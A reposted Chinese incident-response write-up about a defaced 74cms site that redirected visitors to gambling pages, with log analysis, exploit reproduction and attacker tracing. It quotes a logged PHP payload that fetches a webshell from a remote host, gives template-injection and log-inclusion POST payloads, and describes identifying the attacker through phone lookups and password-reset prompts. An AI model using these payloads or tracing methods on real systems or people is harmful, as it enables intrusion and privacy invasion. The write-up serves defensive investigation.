记一次应急响应到溯源入侵者
文本轉載于:https://www.freebuf.com/articles/web/289450.html
1.?前言
今年的某月某日,系統監測到客戶的一企業官網www.******.com遭到了網頁篡改,經過人工確認將瀏覽器的UA替換為百度UA后訪問網站,此時網站鏈接自動跳轉至賭博類違規網站,當日上午隨即受到客戶的召喚,立刻趕往客戶單位進行初步檢查,并將相關日志文件及樣本拷回做進一步分析。
2. 事件分析
因去到現場時index.php文件已經被網站管理員恢復了,但問題不大,還好這哥們留了個心眼備份了文件index_.php,定位到被篡改的文件為首頁面的index_.php,被修改的時間為2021/7/18 18:31:04,可看到攻擊者直接替換掉了首頁文件的內容。該PHP內容經過判斷,來自瀏覽器各大搜索引擎的UA情況后將其訪問跳轉至特定的網站,其中$curl=base64_decode("aHR******************W5kZXgucGhwP2hvc3Q9")經過解碼后為https://yin*******.com/index.php?host=,該連接可以理解為攻擊者的灰色產業流量隨機生成跳轉頁面。
繼續對其事件服務器排查,發現其被篡改的網站為小皮軟件所搭建,中間件為Apache,其數據庫與FTP服務賬號密碼均為弱口令,而且服務器上共部署了9個網站之多。
3. 攻擊分析
使用D盾對其所在的目錄進行后門查殺,并查殺出了多個后門文件,其中最早的后門文件存在另一個網站****系統的web目錄上被上傳的時間為2019/1/11。
發生篡改的系統為服務器上的****系統其目錄為r****5,該目錄下的后門文件最早的時間為2021/3/17,發生篡改的時間為2021/7/18號,可看到在篡改前2021/7/17是有新的后門文件產生的。
可看到最近的2021/7/17 22:41:34時有條log的日志文件產生,且日志內容帶有惡意的后門語句。
跟進到\data\Runtime\Logs\Home目錄下查看21_07_17.log,可見22:41:34時162.***.***.***的IP在/index.php?m=home&a=assign_resume_tpl進行了遠程文件包含的操作
<?php fputs(fopen("home.php","w"),"notfound!!!<?php file_put_contents('url.php',file_get_contents(base64_decode('aHR***************GkudHh0')));?>")?>將其內容寫入home.php文件并在22:41:36生成到了網站的根目錄下。
打開home.php文件可見攻擊者已成功將其內容寫入至文件中。
其中aHR**********************veGkudHh0經過base64解碼得到鏈接http://******8.top/xi.txt,該內容為php一句話后門語句。
在??22:41:39時攻擊者并使用home.php文件遠程讀取一句話后門的TXT文件并生成了url.php的后門文件,其后門內容與遠端TXT文件內容一致。
至此,攻擊者在2021/7/18號18:30:31時上傳了logo.jpg文件其內容就是index.php惡意跳轉的代碼,并在18:31:04時替換掉了index.php 達到了篡改的目的。
4. 攻擊復現
查看Application目錄下的文件,可看到該被入侵篡改網站使用的是74cms所搭建的,其版本為6.0.13。
據了解小于6.0.48的版存在模板注入與文件包含漏洞,恰好被篡改的網站74cms的版本在漏洞版本的范圍內,攻擊者則是利用了該版本的漏洞達到的getshell的目的,下面將含有漏洞的版本下載至本地搭建復原攻擊者漏洞利用的過程。
該漏洞位于/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函數因為過濾不嚴格,導致了模板注入,可以進行遠程命令執行。
訪問http://127.0.0.1/index.php?m=home&a=assign_resume_tpl,使用POST方式提交數據:
variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企業id="$_GET['id']"/>隨后到data\Runtime\Logs\Home目錄下產生了錯誤的log日志文件,并將phpinfo寫入到了日志文件中。
接下來就是包含日志里記錄的phpinfo語句,POST方式提交
variable=1&tpl=data/Runtime/Logs/Home/21_07_23.log成功利用文件包含漏洞包含出了phpinfo。
5. 溯源攻擊者
經以上分析得知,攻擊者在17-18號期間利用該漏洞最終生成了url.php的后門文件,提取出access.log中間件日志文件17到18號的流量,再從其中篩選出url.php的流量情況,共得到45.**.***.***(美國)、27.***.***.***(韓國)、61.***.***.***(香港)三個IP,目測這三個IP均為攻擊者的代理IP。
上述得到的攻擊參數中,base64解碼得到鏈接http://******8.top/xi.txt為存放一句話的文本,其網站首頁為攻擊者的個人頁面。*****8.top因使用的是Cloudflare服務商的CND加速無法獲取到服務器真實的IP,但在查詢歷史解析時hacker.******8.top二級域名解析過103.***.***.***(香港),經訪問該IP這是目前*****.top域名的真實IP。
對103.***.***.***這個IP進行端口探測以及目錄掃描,其中根目錄下的xin.txt、xi.txt、dama.txt、123.txt均為后門文件的文本格式可見該攻擊者應該是職業的黑灰產人員了,根目錄下的config.json則為貓池挖礦錢包地址:4AW2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Pass:2021
進一步的信息收集通過對103.***.***.***歷史綁定的域名反查,在2021/07/12時heike****.com解析到過該IP。
訪問heike****.com可看到該網站為黑客性質類論壇,目前域名解析的IP為154.***.***.***,其443端口為黑客性質與黑產SEO相關網站。
回到*****8.top這個攻擊者的個人頁面網站,在查看網頁源碼時發現其顯示的頭像鏈接https://q2.qlogo.cn/headimg_dl?dst_uin=77*******&spec=640&img_type=jpg,其源碼調用的是QQ頭像庫的鏈接,得到QQ號77*******與其QQ資料的頭像相同。
使用大數據檢索庫得到其QQ綁定的手機號為17*********,歸屬地為內蒙古錫林郭勒,運營商中國電信。
使用支付寶轉賬功能證實該手機號已實名,并得到某寧名字,且頭像為個人自拍帥照一張,資料顯示也為內蒙古地區,并且其微信也是綁定該手機號。
經過以上的溯源我們得到了基本的信息,可以確定該攻擊者從事的是黑灰產的SEO,專門通過入侵互聯網上脆弱的網站植入后門、暗鏈、跳轉劫持等以達到提高其網站的流量與權重,黑帽SEO的盈利模式通常是以訪問量來結算的,所以就得有各大平臺的流量統計插件來統計訪問量,下面繼續收集其信息。
訪問http://*****8.top/seo/目錄在以下統計圖標中得到https://www.cnzz.com/stat/website.php?web_id=128******友盟的統計ID。
并在友盟統計登錄的忘記密碼功能處,輸入賬號(為前面域名的名)找回密碼得到該賬號綁定的手機號為159********。
在http://*****8.top/seo/tz.js的跳轉腳本中指向http://*****8.top/seo/cps.html頁面。
訪問該頁面得到另一個友盟的統計ID:https://uweb.umeng.com/v1/login.php?siteid=127x******
捕獲前面篡改跳轉到https://yin*****.com違規網站的js文件,得到到百度統計的ID:https://hm.baidu.com/hm.js?fe000000000000000000000000000同時也得到yin*****.html頁面該名稱對應友盟統計ID:12*******的用戶名yin****。
在百度統計的密碼找回功能中,經模糊測試同源名稱其中用戶名為****888、****8888、****88888均存在注冊。
在源代碼尾部得到其51la的SDKid:JNT**********
6. 總結
經過以上分析,攻擊者在2021/7/17 時通過騎士cms的注入與文件包含漏洞寫入了url.php一句話后門文件,并上傳logo.jpg文件替換掉了index.php網站首頁的內容使得將網站跳轉至賭博網站。
修復建議:
該網站被多次篡改并留存其他攻擊者的后門文件時間久遠,建議對服務器整個磁盤進行webshell后門查殺。
網站所使用的cms框架版本過低存在高危漏洞,關注騎士cms官網發布補丁以及修復方法http://www.74cms.com/news/show-2497.html。
服務器上的數據庫與FTP服務均為弱口令,建議增強口令的復雜度,8位字符以上且具有大小寫組合。
7. 小Tisp
類似于這類的頁面篡改事件,當我們去現場后該如何開展相應的工作呢。
1.到達客戶現場后第一時間告知網站管理人員請勿對被篡改文件進行刪除或修改,本次事件的網站管理員就馬上把重要證據文件給修改恢復了,但不過還好這位小哥備份了下來,建議去現場前電話跟客戶電話溝通好能不動的就不動,最好是直接拔網線斷網,留好證據方便后面溯源的工作。
2.到現場后跟網站管理人員,發生篡改后有沒有自己進行巡檢自己發現什么異常之類的,自主發現的話是什么時候發現的呢,確定好被篡改文件的首次修改時間,對下面核對日志溯源的工作至關重要。
3.通過判斷確認該篡改為內容篡改還是跳轉劫持類型的,詢問網站管理員當前web文件存放的位置除了被篡改的網站還有沒有其他系統的網站,都開了那些端口之類的。
4.看當前環境下的拓撲圖,看是否有記錄流量設備的日志,如果有此次篡改的攻擊有沒有產生什么相應的告警之類的等等。
5.很多單位的等保系統現在也都部署了網頁防篡改系統,但也屢屢發生被篡改的事件,以往的經驗來看,部署了還發生篡改的要么就是防護的目錄不到位,要么就是上防護之前就已經遺留有后門文件了,還有就是程序員在更新代碼時把防護關了后就忘了再次開起來了,所以也要有必要的問一下有沒有進行一個查殺后門文件的周期工作,還有防護了那些目錄或者頁面等。
總結
以上是生活随笔為你收集整理的记一次应急响应到溯源入侵者的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 从外网Thinkphp3日志泄露到杀入内
- 下一篇: 记一次CNVD通用漏洞审计